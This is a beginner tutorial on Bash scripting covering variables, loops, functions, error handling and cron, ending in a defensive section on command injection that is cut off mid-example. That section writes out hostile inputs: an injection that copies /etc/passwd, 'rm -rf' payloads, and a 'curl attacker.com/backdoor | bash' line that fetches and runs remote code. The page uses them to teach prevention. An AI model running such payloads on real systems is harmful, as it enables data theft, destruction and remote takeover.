If you spend any amount of time in a Linux terminal, you have typed the same sequence of commands more than once. Maybe you manually check disk usage across a set of directories every morning, or you run the same three-step deployment process every time you push a release. Bash scripting exists to eliminate that repetition. It takes the commands you already know and chains them into reusable, automated workflows that run without your constant supervision.

There is a second, less obvious reason to learn Bash scripting: your scripts can also become attack vectors if you write them carelessly. A script that does not validate input, uses predictable temp file names, or passes unquoted variables to commands can hand an attacker command execution on a silver platter. The same knowledge that makes you productive also makes your systems defensible. Both angles are covered here.

This guide is written for people who are comfortable running commands in a terminal but have never written a Bash script -- or have written a few quick one-offs without really understanding the structure behind them. By the end, you will have the foundational knowledge to write scripts that handle variables, make decisions with conditionals, iterate with loops, accept user input, and handle errors gracefully -- and you will know which common mistakes turn beginner scripts into security liabilities.

// how bash executes a script -- the mental model
KERNEL reads #! shebang exec BASH PROCESS reads script top-to-bottom interprets each line fork/exec CHILD PROC e.g. grep, curl, awk, cp, git exit code ($?) returned to bash set -e: non-zero exit code terminates the script immediately trap cleanup EXIT runs on any exit path // I/O STREAMS stdin (fd 0) keyboard / pipe stdout (fd 1) terminal / > file stderr (fd 2) errors / 2>&1 cmd1 | cmd2 -- stdout of cmd1 feeds stdin of cmd2 pipefail: pipeline fails if ANY stage returns non-zero

What Is Bash, and Why Script with It?

Bash stands for Bourne Again SHell. It was created by Brian Fox for the GNU Project and first released as a public beta on June 8, 1989, as a free replacement for the original Bourne shell (sh), which Stephen Bourne developed at Bell Labs and distributed with Version 7 Unix in 1979. Brian Fox announced the beta release to the GNU development community that June, and Chet Ramey -- who remains the primary maintainer today -- began contributing that same year, in 1989, after he found an early copy of Bash, made job control work, and sent his changes back to Fox. Today, Bash is the default interactive shell on the majority of Linux distributions and remained the default on macOS until Catalina (10.15) in 2019, when Apple switched to Zsh -- primarily for licensing reasons (Bash 3.2 was the last version with an Apple-compatible license). On macOS, /bin/bash is still present but frozen at version 3.2, which lacks many features available in Bash 4 and 5. Bash 5.3, the current stable release, was officially published on July 3, 2025, by Chet Ramey on behalf of the GNU Project. The official GNU Bash page at gnu.org/software/bash tracks current releases and patches. Most production Linux servers run Bash 5.1 or 5.2, with 5.3 rolling into distributions progressively.

A Bash script is simply a plain text file containing a series of commands that Bash executes in order. Instead of typing those commands one at a time, you write them into a file, make it executable, and run the whole sequence at once. This is scripting at its most fundamental: telling the computer to do what you would have done manually, but faster and without mistakes.

The real power of Bash scripting is that it does not require installing anything new. Every Linux server already has Bash. Every CI/CD pipeline can run shell scripts. Every cron job is, at its core, a scheduled Bash command. Learning Bash scripting is not about picking up some niche tool -- it is about unlocking the full potential of the environment you are already working in.

What makes Bash uniquely valuable compared to writing everything in Python or Ruby is the zero-friction integration with every command-line tool on the system. Bash is the glue that connects find, grep, awk, curl, systemctl, and thousands of other utilities into coherent workflows. For tasks that are fundamentally about orchestrating those tools, Bash is often the right choice even when a higher-level language is available.

Note

Bash is not the only shell available. Alternatives include Zsh (default on macOS since Catalina), Fish (known for user-friendly features), Dash (used as /bin/sh on many Debian-based systems for speed), and POSIX sh for maximum portability. Bash remains the standard for scripting because of its universal availability on Linux systems and its balance of features and compatibility. Scripts written for Bash will run on virtually any Linux server you encounter, but note that scripts using Bash 4+ features (associative arrays, mapfile, etc.) will not work on macOS's system Bash without using a Homebrew-installed version.

Your First Bash Script

Every Bash script starts with a shebang line$ shebangThe first line of a script, starting with #! followed by the path to the interpreter -- e.g. #!/bin/bash. The kernel reads this line and knows which program to hand the file to. Without it, the OS may try the wrong shell or refuse to execute the file.See FAQ: What is a shebang line?. This special line tells the operating system which interpreter to use when executing the file. Without it, the system may not know how to handle your script, or worse, it might try to interpret it with a different shell entirely.

hello.sh
#!/bin/bash

echo "Hello, world!"
echo "Today is $(date '+%A, %B %d, %Y')."
echo "You are logged in as: $(whoami)"
echo "Current directory: $(pwd)"

The #!/bin/bash on line one is the shebang. The #! tells the kernel this is a script, and /bin/bash is the path to the interpreter. Lines beginning with # (after the shebang) are comments -- ignored by the interpreter but essential for anyone reading your code later, including your future self.

To actually run this script, you need to make it executable and then invoke it:

chmod +x hello.sh
./hello.sh

The chmod +x command adds the executable permission to the file. The ./ prefix tells Bash to look for the script in the current directory rather than searching your $PATH. Notice the $(command) syntax inside the echo statements -- this is called command substitution, and it executes the command inside the parentheses and inserts its output into the string. You will use this pattern constantly in real scripts.

Pro Tip

Use #!/usr/bin/env bash instead of #!/bin/bash if you want maximum portability. The env command searches your $PATH for the Bash binary, which handles cases where Bash is installed in a non-standard location.

// recall check think first, then reveal
What does the #! at the top of a script actually do, and what happens if you omit it?
The #! (shebang) tells the kernel which interpreter to hand the file to -- e.g. #!/bin/bash means "run this with Bash." Without it, the OS may run the script with /bin/sh instead, which may not support Bash-specific syntax like [[ ]] or arrays, causing silent failures or errors.
What are the two commands required to create and run a new script called myscript.sh?
chmod +x myscript.sh adds the executable permission, then ./myscript.sh runs it. The ./ is required because the current directory is not in $PATH by default -- without it, Bash will not find the script.
What does $(command) syntax do inside a string?
This is command substitution. Bash executes the command inside the parentheses and replaces the entire $(command) expression with that command's output. For example, echo "Today is $(date '+%A, %B %d, %Y')" prints the full date. Note the single quotes inside the $() — they are passed to date, not interpreted by Bash.

Variables and Data

Variables in Bash work differently than in many programming languages. There are no type declarations -- everything is a string unless the context requires arithmetic. Assigning a variable is straightforward, but there is one critical rule: no spaces around the equals sign.

variables.sh
#!/bin/bash

# Variable assignment -- no spaces around the =
NAME="webserver-01"
LOG_DIR="/var/log/myapp"
MAX_RETRIES=5
TIMESTAMP="$(date +%Y%m%d_%H%M%S)"

# Referencing variables with $
echo "Server: $NAME"
echo "Logging to: $LOG_DIR"
echo "Backup file: ${NAME}_backup_${TIMESTAMP}.tar.gz"

# Reading user input
read -p "Enter the deployment environment: " ENVIRONMENT
echo "Deploying to: $ENVIRONMENT"

The curly brace syntax ${NAME} is optional when the variable name stands alone, but becomes essential when you need to distinguish the variable from surrounding text. In the example above, ${NAME}_backup_${TIMESTAMP} would not work correctly without braces -- Bash would try to find a variable called NAME_backup_ instead.

Bash also provides special variables that are set automatically. The ones you will use repeatedly include $0 (the script's own filename), $1 through $9 (positional arguments passed to the script), $# (the number of arguments), $? (the exit status of the last command), and $$ (the script's process ID). These are the building blocks for writing scripts that respond to input and report their own status.

One often-overlooked feature is parameter expansion with defaults. Rather than writing a separate if block to handle an unset variable, you can use the ${VAR:-default} syntax to supply a fallback inline. This is especially useful for optional arguments:

defaults.sh
#!/bin/bash

# ${VAR:-default}  -- use default if VAR is unset or empty
# ${VAR:=default}  -- assign default to VAR if unset or empty
# ${VAR:?message}  -- exit with message if VAR is unset or empty

ENVIRONMENT="${1:-production}"    # default to "production" if no arg given
LOG_LEVEL="${LOG_LEVEL:-info}"    # respect env var, fall back to "info"
REQUIRED_ARG="${2:?Usage: deploy.sh <env> <version>}"

echo "Deploying to: $ENVIRONMENT at log level: $LOG_LEVEL"

The third form -- ${VAR:?message} -- is a clean way to enforce required arguments: if the variable is unset or empty, the script exits immediately with your custom error message. This is more concise than an equivalent if block and self-documents intent at the point of use.

predict the failure
A script has DEPLOY_DIR="/opt/my app" (note the space in the path). Later it runs rm -rf $DEPLOY_DIR without quotes. What actually gets deleted?
Without quotes, Bash applies word splitting to $DEPLOY_DIR. The value /opt/my app splits into two tokens: /opt/my and app. The command becomes rm -rf /opt/my app — which attempts to delete two separate paths: the directory /opt/my and whatever app resolves to in the current working directory. Neither is the intended target. With the correct form rm -rf "$DEPLOY_DIR", the quoted expansion is treated as a single argument and the correct directory is targeted.
Warning

Always double-quote your variables: "$VARIABLE" instead of $VARIABLE. Unquoted variables are subject to word splitting and glob expansion, which can cause subtle and dangerous bugs -- especially when filenames contain spaces or special characters. This is not just a style preference; it is a security and correctness requirement. The single most common source of bugs in beginner scripts is an unquoted variable. When in doubt: quote it.

Security Thread: This Starts Here

The read command above collects user input into $ENVIRONMENT. If that variable is later passed to a command without quoting or validation -- e.g. deploy.sh $ENVIRONMENT -- an attacker who controls the input can inject arbitrary shell commands. Every variable that touches user input is a potential injection vector. The Security section covers how to close this with regex whitelists and quoting. Keep it in mind as you build from here.

// recall check think first, then reveal
What is wrong with this assignment: NAME = "webserver-01"?
The spaces around the = sign are illegal in Bash. Bash interprets NAME as a command name, not a variable assignment. The correct form is NAME="webserver-01" with no spaces.
What does ${APP:-myapp} expand to when APP is unset?
It expands to the fallback value myapp without modifying the variable. If APP is set to a non-empty string, that value is used instead. This is parameter expansion with default.
Why does echo ${NAME}_backup need curly braces?
Without braces, Bash looks for a variable named NAME_backup (the underscore is a valid identifier character), finds nothing, and expands to an empty string. Curly braces delimit the variable name so _backup is treated as literal text.
// the thread that runs through the whole article Variable quoting — "$VAR" — is not a style preference. It is the same principle that shows up in array expansion, parameter expansion defaults, and the entire Security section. Every time you quote a variable, you are making a deliberate choice: this is data, not code to be re-parsed. The moment you stop quoting is the moment Bash starts making decisions for you — and those decisions can delete files, skip conditions, or hand an attacker a shell.

Conditionals: Making Decisions

// requires: variables

Scripts become genuinely useful when they can make decisions. Bash uses if statements to evaluate conditions and execute different code paths based on the result. The syntax looks a bit unusual compared to other languages, but the pattern is consistent once you internalize it.

check_disk.sh
#!/bin/bash
# Alert if disk usage exceeds a threshold

THRESHOLD=80
USAGE=$(df -P / | tail -1 | awk '{print $5}' | tr -d '%')

if [ "$USAGE" -gt "$THRESHOLD" ]; then
    echo "WARNING: Disk usage is at ${USAGE}% (threshold: ${THRESHOLD}%)"
    echo "Top space consumers:"
    du -sh /var/log/* 2>/dev/null | sort -rh | head -5
elif [ "$USAGE" -gt 60 ]; then
    echo "NOTICE: Disk usage is at ${USAGE}% -- approaching threshold."
else
    echo "OK: Disk usage is at ${USAGE}%."
fi

The square brackets [ ] are actually a shorthand for the test command. The spaces inside the brackets are mandatory -- [$USAGE -gt $THRESHOLD] without spaces will produce an error. For numeric comparisons, use -gt (greater than), -lt (less than), -eq (equal), -ne (not equal), -ge (greater than or equal), and -le (less than or equal).

For string comparisons and more complex expressions, Bash provides the double-bracket syntax [[ ]], which supports pattern matching and regular expressions. File test operators are another essential tool: -f checks if a file exists, -d checks for a directory, -r checks read permissions, and -s checks if a file is non-empty.

file_checks.sh
#!/bin/bash
set -eEuo pipefail

if [[ ! -f "$CONFIG_FILE" ]]; then
    echo "ERROR: Config file not found at $CONFIG_FILE"
    exit 1
elif [[ ! -r "$CONFIG_FILE" ]]; then
    echo "ERROR: Config file exists but is not readable."
    exit 1
else
    echo "Config loaded from $CONFIG_FILE"
    # A .yml file cannot be sourced directly -- use yq or a parser:
    # APP_PORT=$(yq '.port' "$CONFIG_FILE")
fi
Warning: source only works on Bash-compatible files

The source command executes its argument as Bash code. A .yml or .yaml file is not valid Bash syntax — sourcing it will throw a syntax error at best, and run arbitrary commands at worst if the file can be written by an attacker. To read values from a YAML config file, use a dedicated parser: yq '.port' "$CONFIG_FILE" or python3 -c "import yaml,sys; d=yaml.safe_load(open('$CONFIG_FILE')); print(d['port'])". If you want a config file that can be safely sourced, use a plain KEY=value format (no YAML syntax) and restrict its permissions with chmod 600.

predict the failure
Before looking at the comparison below: what do you think happens when you write if [ $FILENAME == $OTHER ]; then and FILENAME contains a filename with a space in it, like my file.log?
Bash performs word splitting on unquoted variables before evaluating the test. $FILENAME expands to my file.log, which the shell splits into two tokens: my and file.log. The [ command now receives too many arguments and throws: [: too many arguments. The conditional is never evaluated correctly. The fix is "$FILENAME" — quotes prevent word splitting. In [[ ]] this is even more forgiving, but quoting remains the correct habit regardless.
// contrast: [ ] vs [[ ]] -- the most common beginner confusion
Fragile
# No quotes -- word-splitting hazard
if [ $FILENAME == $OTHER ]; then

# String comparison typo risk
if [ $STATUS = "running" ]; then

# Pattern matching -- doesn't work in [ ]
if [ $VAR =~ ^[0-9]+$ ]; then
[ ] calls the external test command. Unquoted variables split on whitespace. No native regex support.
Preferred in Bash
# Quoted, safe
if [[ "$FILENAME" == "$OTHER" ]]; then

# String comparison, explicit equality
if [[ "$STATUS" == "running" ]]; then

# Regex matching works natively
if [[ "$VAR" =~ ^[0-9]+$ ]]; then
[[ ]] is a Bash built-in. Safer quoting rules, supports =~ regex. Use unless you need POSIX /bin/sh portability.

Loops: Repeating Work

// requires: variables conditionals

Loops are where automation truly begins. Instead of running the same command against ten servers manually, you write a loop that iterates through the list and does the work for you. Bash supports three primary loop constructs: for, while, and until.

The for loop is the one you will reach for in the majority of use cases. It iterates over a list of items -- filenames, server names, numbers -- and executes a block of code for each one.

log_cleanup.sh
#!/bin/bash
# Clean up log files older than 30 days

LOG_DIRS=("/var/log/myapp" "/var/log/nginx" "/var/log/postgresql")
DAYS_OLD=30
TOTAL_FREED=0

for dir in "${LOG_DIRS[@]}"; do
    if [[ -d "$dir" ]]; then
        echo "Scanning $dir for files older than $DAYS_OLD days..."
        COUNT=$(find "$dir" -name "*.log" -mtime +"$DAYS_OLD" -type f | wc -l)
        echo "  Found $COUNT files to remove."
        find "$dir" -name "*.log" -mtime +"$DAYS_OLD" -type f -delete
        TOTAL_FREED=$(( TOTAL_FREED + COUNT ))
    else
        echo "  Skipping $dir -- directory not found."
    fi
done

echo "Cleanup complete. Removed $TOTAL_FREED log files total."

Notice the array syntax: LOG_DIRS=("item1" "item2" "item3") defines an indexed array, and "${LOG_DIRS[@]}" expands to all elements. The double quotes around the expansion are important -- they ensure that directory paths containing spaces are handled correctly as individual items rather than being split apart.

The while loop is ideal for cases where you need to keep running until a condition changes, such as waiting for a service to become available or processing input line by line:

wait_for_service.sh
#!/bin/bash
# Wait for a service to respond before proceeding

HOST="localhost"
PORT=5432
MAX_WAIT=30
WAITED=0

echo "Waiting for $HOST:$PORT to accept connections..."

# nc -z works on GNU/BSD nc. On BusyBox (Alpine, minimal containers) use:
# while ! bash -c "echo > /dev/tcp/$HOST/$PORT" 2>/dev/null; do
while ! nc -z "$HOST" "$PORT" 2>/dev/null; do
    if [ "$WAITED" -ge "$MAX_WAIT" ]; then
        echo "ERROR: Timed out after ${MAX_WAIT}s waiting for $HOST:$PORT"
        exit 1
    fi
    sleep 1
    WAITED=$(( WAITED + 1 ))
done

echo "Connection established after ${WAITED}s."
// recall check think first, then reveal
Why does "${LOG_DIRS[@]}" need double quotes around the expansion?
Without quotes, Bash performs word splitting on each array element. A directory path containing a space -- e.g. /var/log/my app -- would be split into two separate loop iterations instead of one. The quotes treat each element as a single token.
When would you use a while loop instead of a for loop?
Use while when you are iterating until a condition changes rather than over a known list -- for example, waiting for a service port to open, reading lines from stdin, or polling until a file appears. for is cleaner when the set of items is known upfront.
// why this matters beyond loops The array expansion pattern "${LOG_DIRS[@]}" is not just about spaces in filenames — it is your first direct encounter with the quoting discipline that the Security section builds on entirely. Every place you see "${...}" in a script, Bash is being told: treat this as one unit of data, not a command to be re-parsed. That distinction — data vs. command — is the conceptual spine of injection prevention.
// how a pipeline flows -- stdout becomes stdin
df -P / disk stats | tail -1 last line | awk '{print $5}' 5th column | tr -d '%' strip % sign 82 $USAGE -o pipefail: if tail, awk, or tr fails -- the whole pipeline fails, not just the last stage
// section self-check: loops honest calibration before you move on
checked: 0 / 3

Functions: Organizing Your Code

As scripts grow beyond a few dozen lines, they become hard to read and maintain without some form of organization. Functions let you group related commands under a descriptive name, making your scripts modular and reusable. A well-named function also serves as documentation -- validate_input tells you exactly what that block of code does.

deploy.sh
#!/bin/bash
# A structured deployment script using functions

APP_DIR="/opt/myapp"
BACKUP_DIR="/opt/backups"

log_message() {
    local LEVEL="$1"
    local MSG="$2"
    echo "[$(date '+%Y-%m-%d %H:%M:%S')] [$LEVEL] $MSG"
}

create_backup() {
    local BACKUP_FILE="${BACKUP_DIR}/backup_$(date +%Y%m%d_%H%M%S).tar.gz"
    log_message "INFO" "Creating backup at $BACKUP_FILE"

    if tar -czf "$BACKUP_FILE" -C "$APP_DIR" .; then
        log_message "INFO" "Backup created successfully."
        return 0
    else
        log_message "ERROR" "Backup failed."
        return 1
    fi
}

pull_latest() {
    log_message "INFO" "Pulling latest code..."
    # Use return 1, not exit 1 -- exit inside a function aborts the whole
    # script immediately, bypassing any caller error-handling logic.
    cd "$APP_DIR" || { log_message "ERROR" "Cannot cd to $APP_DIR"; return 1; }
    git pull origin main
}

restart_service() {
    log_message "INFO" "Restarting application service..."
    sudo systemctl restart myapp.service
    sleep 2

    if systemctl is-active --quiet myapp.service; then
        log_message "INFO" "Service restarted successfully."
    else
        log_message "ERROR" "Service failed to start!"
        return 1
    fi
}

# Main execution flow
log_message "INFO" "=== Starting deployment ==="
create_backup || exit 1
pull_latest || exit 1
restart_service || exit 1
log_message "INFO" "=== Deployment complete ==="

Notice the local keyword inside functions. Without it, variables are global by default in Bash, which means a variable set inside one function can accidentally overwrite a variable with the same name somewhere else. Using local scopes the variable to the function where it is declared. The return statement sets the function's exit status -- 0 for success, anything else for failure -- which the calling code can then check with || (or) to decide whether to continue.

// section self-check: functions honest calibration before you move on
checked: 0 / 4 — if fewer than 3, re-read the functions section before continuing.

Error Handling and Defensive Scripting

// requires: variables functions

Bash scripts fail silently by default. If a command in the middle of your script fails, Bash will simply move on to the next line as though nothing happened. In a deployment script or a data processing pipeline, this behavior can be catastrophic. Defensive scripting means anticipating failure and handling it explicitly.

The single most impactful line you can add to any Bash script is set -eEuo pipefail$ set -eEuo pipefailFour safety flags combined: -e exits on any non-zero return, -E ensures the ERR trap is inherited by functions and subshells, -u treats unset variables as errors, and -o pipefail fails a pipeline if any stage fails. Add this near the top of every script.See FAQ: What does set -euo pipefail do?. This enables four safety mechanisms at once:

safe_script.sh
#!/bin/bash
# -e  Exit immediately if any command returns a non-zero status
# -E  ERR trap is inherited by functions and subshells (errtrace)
# -u  Treat unset variables as an error (prevents typo-based bugs)
# -o pipefail  A pipeline fails if ANY command in it fails,
#              not just the last one
set -eEuo pipefail

# Trap errors and clean up
cleanup() {
    local EXIT_CODE=$?
    if [ "$EXIT_CODE" -ne 0 ]; then
        echo "ERROR: Script failed with exit code $EXIT_CODE" >&2
    fi
    # Remove temp files, release locks, etc.
    rm -f /tmp/myapp_lockfile
}

trap cleanup EXIT

The trap$ trapA Bash built-in that registers a command or function to execute when a signal is received or when the script exits. trap cleanup EXIT guarantees your cleanup function runs on any exit path, including errors and Ctrl+C.See: Error Handling command registers a function to run when the script exits -- whether it exits normally, because of an error, or because it received a signal like SIGINT (Ctrl+C). This pattern is essential for scripts that create temporary files, acquire locks, or start background processes that need to be cleaned up regardless of how the script ends.

Two related details matter in practice. First, the -E flag (errtrace) ensures the ERR trap is inherited by functions and subshells. Without it, a failure inside a called function silently bypasses the ERR trap because the trap is not propagated down the call stack by default -- the function exits with a non-zero code but the trap never fires until control returns to the top level. Second, trap strings written in single quotes have their variables expanded when the trap fires, not when trap is called. This means trap 'err_handler $LINENO $?' ERR correctly reports the line of the failing command because $LINENO is evaluated at the moment of failure.

debug_mode.sh
#!/bin/bash
# -E (errtrace): ERR trap is inherited by functions and subshells.
# Without -E, a failure inside a function bypasses the ERR trap entirely.
set -eEuo pipefail

# Enable debug trace mode conditionally via environment variable
# Usage: TRACE=1 ./myscript.sh
if [[ "${TRACE-0}" == "1" ]]; then
    set -x
fi

# Single-quoted trap strings expand $LINENO and $BASH_COMMAND when the trap
# fires, not when trap is registered -- so $LINENO is the failing line.
err_handler() {
    echo "ERROR at line $1 -- exit code $2 -- command: $BASH_COMMAND" >&2
}
trap 'err_handler $LINENO $?' ERR

Two details are worth understanding here. First, the -E flag (errtrace) is added to the set line -- without it, an ERR trap set at the top level is not inherited by functions or subshells, which means a failure inside a called function silently bypasses the trap. Second, the trap string is in single quotes, which means $LINENO and $BASH_COMMAND expand when the trap fires, not when trap is called -- so $LINENO correctly reports the line where the failure occurred. The TRACE=1 ./myscript.sh pattern lets you hand debug mode to teammates without modifying the script itself.

// how error handling and security intersect trap cleanup EXIT is not only an error handling tool — it is a security control. Without a guaranteed cleanup path, a script that fails mid-execution can leave temporary files, lock files, or partially-written data on disk. An attacker who can trigger a script failure at the right moment can exploit those leftover artifacts. The same trap that removes $TMPFILE on error is the mechanism that closes the symlink attack window demonstrated in the Security section.
predict the failure
You have set -e active. Your script includes this line outside of any if block: grep "pattern" /var/log/app.log. The log file exists but the pattern is not found. What happens next — and is it what you wanted?
grep exits with code 1 when it finds no matches. With set -e active, a non-zero exit code from any standalone command terminates the script immediately — so your script exits right there, silently, as if it failed. Whether this is what you wanted depends on intent: if "no matches" is a normal condition, the script should not stop. The fix is grep "pattern" /var/log/app.log || true — the || true short-circuits to exit code 0 regardless of grep's result, telling Bash this non-zero exit is expected and acceptable.
Caution

Be careful with set -e in scripts that intentionally check for command failure. Commands inside if conditions are exempt from -e, but standalone commands that you expect might fail (like grep not finding a match) will cause the script to exit. Use command || true to explicitly allow a non-zero exit status where needed.

// recall check think first, then reveal
What does each flag in set -eEuo pipefail do independently?
-e: exit immediately if any command returns a non-zero status. -E (errtrace): the ERR trap is inherited by functions and subshells -- without this, a failure inside a function bypasses the ERR trap at the top level. -u: treat unset variables as an error (prevents typo-based silent failures). -o pipefail: a pipeline fails if any stage in it fails, not just the last command. Together they make scripts fail loudly instead of silently continuing past errors.
Why is trap cleanup EXIT better than placing cleanup code at the end of the script?
Code at the end of a script only runs on a normal exit. trap cleanup EXIT runs the function on any exit path -- including errors caught by set -e, signals like Ctrl+C (SIGINT), and early exit calls anywhere in the script. It is the only reliable way to guarantee cleanup runs.
You have a command that legitimately returns exit code 1 (e.g. grep finds no match). How do you allow that without disabling set -e?
Append || true to the command: grep "pattern" file || true. The || true means "if the previous command failed, run true instead" -- and true always exits 0. This explicitly allows the non-zero exit without affecting the rest of the script.

Real-World Automation Patterns

The concepts covered above -- variables, conditionals, loops, functions, and error handling -- come together in practical scripts that solve real problems. Here is a complete example that monitors a set of web endpoints and sends a summary report. This is the kind of script that runs on a cron schedule and saves an operations team from manually checking service health every morning.

health_check.sh
#!/bin/bash
# -e is intentionally included; use || true on commands that may return
# non-zero in normal operation (e.g. grep finding no matches).
set -euo pipefail

ENDPOINTS=(
    "https://api.example.com/health"
    "https://app.example.com/status"
    "https://docs.example.com"
)
# mktemp creates an unpredictable filename, preventing symlink attacks.
# trap ensures the file is removed on any exit path.
REPORT_FILE=$(mktemp)
trap 'rm -f "$REPORT_FILE"' EXIT
FAILURES=0

echo "Health Check Report -- $(date)" > "$REPORT_FILE"
echo "================================" >> "$REPORT_FILE"

for url in "${ENDPOINTS[@]}"; do
    HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" --max-time 10 "$url")

    if [[ "$HTTP_CODE" == "200" ]]; then
        echo "[  OK  ] $url ($HTTP_CODE)" >> "$REPORT_FILE"
    else
        echo "[ FAIL ] $url ($HTTP_CODE)" >> "$REPORT_FILE"
        FAILURES=$(( FAILURES + 1 ))
    fi
done

echo "================================" >> "$REPORT_FILE"
echo "Total: ${#ENDPOINTS[@]} checked, $FAILURES failed." >> "$REPORT_FILE"

if [ "$FAILURES" -gt 0 ]; then
    cat "$REPORT_FILE"
    # mail -s "Health Check: $FAILURES failures" [email protected] < "$REPORT_FILE"
    exit 1
fi

echo "All endpoints healthy."

To schedule this script to run every 15 minutes, you would add it to your $ cronA Unix time-based job scheduler. The user-level scheduler is configured with crontab -e. Each entry uses a 5-field schedule: minute, hour, day-of-month, month, day-of-week -- then the command to run. Cron runs jobs in a minimal environment with no $PATH set up, so always use full paths in cron entries.crontab:

crontab -e
crontab entry
# Run health check every 15 minutes
# Set PATH explicitly: cron runs with a minimal environment that may not
# include /usr/local/bin or other directories your script depends on.
*/15 * * * * PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin /home/ops/scripts/health_check.sh >> /var/log/health_check.log 2>&1

The 2>&1 at the end redirects standard error into standard output, ensuring that both success messages and error messages end up in the log file. Without this, errors from the script would be silently swallowed by cron or sent as system mail that nobody reads.

Best Practices for Maintainable Scripts

Writing a script that works is only half the challenge. Writing one that your colleagues can understand six months later -- or that you yourself can debug at 2 AM during an incident -- requires discipline around a few habits.

Start every script with set -eEuo pipefail. These flags prevent an entire category of silent failures. The -E (errtrace) flag deserves particular mention because it is the one that is easiest to omit: without it, ERR traps are not inherited by functions, which means a failure inside a called function can bypass your trap entirely. Add comments that explain why, not just what. The code already shows what it does; comments should explain the reasoning behind non-obvious choices.

Use meaningful variable names. BACKUP_RETENTION_DAYS=30 is self-documenting; X=30 is not. Define configuration values as variables at the top of the script rather than scattering magic numbers and hardcoded paths throughout the code. This creates a single place to update when paths or thresholds change.

Validate your inputs. If your script expects arguments, check that they were provided and that they are reasonable before proceeding. A script that silently operates on an empty variable can delete files in unexpected directories or overwrite critical data.

Keep individual scripts focused on a single task. Rather than building one massive script that handles backups, deployments, monitoring, and log rotation, write separate scripts for each concern and compose them together. This makes each script easier to test, debug, and reuse in different contexts. Think of it as the Unix philosophy applied one layer up: each script should do one thing well.

Consider also the principle of idempotency$ idempotencyA property of operations where running the same operation multiple times produces the same result as running it once. In scripting: a script is idempotent if running it twice leaves the system in the same state as running it once. Critical for CI/CD pipelines and runbooks. -- a production-quality script should produce the same result whether it runs once or ten times. Use mkdir -p instead of mkdir. Check whether a user already exists before creating them. Compare configuration hashes before restarting a service. Idempotent scripts survive reruns, CI retries, and runbook mistakes without causing harm.

The underlying philosophy is widely shared among experienced shell scripters: scripts that fail loudly are far safer than scripts that fail silently, because a loud failure is immediately visible while a quiet one can go undetected for weeks. Combining set -eEuo pipefail with a trap cleanup function and meaningful error messages at every failure point is how you build that kind of audible, traceable behavior.

Finally, test your scripts in a safe environment before running them in production. Use bash -n script.sh to check for syntax errors without executing anything, and consider running destructive operations with echo prefixed to commands first (a technique sometimes called a "dry run") to verify that the right files and directories are being targeted.

predict the failure
A deployment script runs fine in testing and is committed to the repository. Six months later, someone changes DEPLOY_DIR="/opt/app" to DEPLOY_DIR="/opt/new-app" at the top of the script — but an old hardcoded reference to /opt/app is buried in one function. The script runs without error but deploys to the wrong location. How could the original author have prevented this?
Three practices prevent this class of bug. First: define all paths and thresholds as named constants at the top of the script — never scatter literal values through function bodies. Second: declare path constants with readonly DEPLOY_DIR="/opt/app" — subsequent attempts to reassign them cause the script to abort with an error rather than silently taking effect. Third: run shellcheck on every commit — it catches unreferenced variables and structural issues that reviewers miss. The failure mode here is not a syntax error; it is a maintenance error caused by treating configuration as scattered literals rather than named, locked, auditable constants.
Pro Tip

Install and run shellcheck on your scripts. ShellCheck is a static analysis tool written in Haskell by Vidar Holen (source: github.com/koalaman/shellcheck) that catches common Bash pitfalls -- unquoted variables, useless use of cat, incorrect test syntax, and dozens of other issues. It integrates with VS Code, Vim, Neovim, and most modern editors. Run it on every script you write and treat its warnings as errors, not suggestions. It is the single fastest way to improve your script quality and catch bugs before they reach production. You can paste any script directly at shellcheck.net for instant feedback without installing anything.

Security: What Beginners Get Wrong

Bash scripts interact directly with the operating system. That power comes with responsibility. Many beginner scripts -- and more than a few production scripts -- contain vulnerabilities that would not exist in equivalent Python or Go code, because the shell's convenience features are also its attack surface.

The injection problem. The most common Bash security flaw is passing user-controlled input to a command without proper quoting or sanitization. This is called command injection$ command injectionAn attack where user-supplied input is interpreted as shell commands rather than data. CISA and FBI named it a top software security bad practice in 2024. In Bash, the primary defenses are quoting all variables, whitelisting input with regex, and never using eval on untrusted input.CISA Alert (2024). If your script does something like eval "echo $USER_INPUT" and the input is ; rm -rf /, the results are catastrophic. Never use eval on untrusted input. Quote every variable. Use whitelists -- explicitly check that input matches an expected pattern before using it.

input_validation.sh
#!/bin/bash
set -euo pipefail

# Only allow alphanumeric environment names -- whitelist approach
ENV="${1:-}"

if [[ ! "$ENV" =~ ^[a-zA-Z0-9_-]+$ ]]; then
    echo "ERROR: Environment name must be provided and contain only letters, numbers, hyphens, or underscores."
    exit 1
fi

# Safe to use $ENV now -- it only contains known-safe characters
echo "Deploying to: $ENV"
attack trace: how eval "$USER_INPUT" becomes command execution
1
attacker controls input
The script prompts for an environment name. The attacker does not type staging. They type a crafted payload designed to be interpreted as shell syntax.
Enter environment: staging; cat /etc/passwd > /tmp/leaked.txt
2
the script stores the raw string
The read command stores the full string — including the semicolon and everything after it — into $USER_INPUT without complaint. No error. No warning.
USER_INPUT="staging; cat /etc/passwd > /tmp/leaked.txt"
3
eval re-parses the string as shell code
The script calls eval "echo $USER_INPUT". eval takes its arguments, concatenates them into a string, and hands that string back to Bash for a second round of parsing. The semicolon is now a command separator — just as if the attacker had typed two commands at the terminal.
eval sees: echo staging ; cat /etc/passwd > /tmp/leaked.txt
4
two commands execute
Bash runs both. The first is harmless. The second executes under the permissions of the script's user — which in an ops context is often a service account with broad read access.
$ echo staging # runs, prints "staging"
$ cat /etc/passwd > /tmp/leaked.txt # runs, writes passwd to /tmp
result: the full contents of /etc/passwd are now at /tmp/leaked.txt, readable by the attacker. with a deployment script running as root, the payload could be: ; rm -rf /var/www or ; curl attacker.com/backdoor | bash
The defense is structural, not cosmetic. The regex whitelist pattern — [[ "$ENV" =~ ^[a-zA-Z0-9_-]+$ ]] — rejects the payload at step 2 because a semicolon is not in the allowed character set. The input never reaches eval. Quoting alone is not sufficient when eval is in play; you need to gate what characters can enter the pipeline at all. The same whitelist principle blocks glob injection, path traversal, and newline injection simultaneously.
// contrast: quoting and injection -- the #1 beginner security mistake
Vulnerable
# Unquoted variable -- word splits on spaces
rm -rf $USER_DIR

# eval on user input -- catastrophic
eval "process $USER_INPUT"

# Predictable temp file -- symlink attack
TMPFILE="/tmp/output.txt"

# Hardcoded secret in script
API_KEY="sk-abc123supersecret"
Any of these can be exploited. The eval line with input ; rm -rf / deletes everything the script user can touch.
Secure
# Quoted -- space-safe
rm -rf "$USER_DIR"

# Whitelist validate, never eval
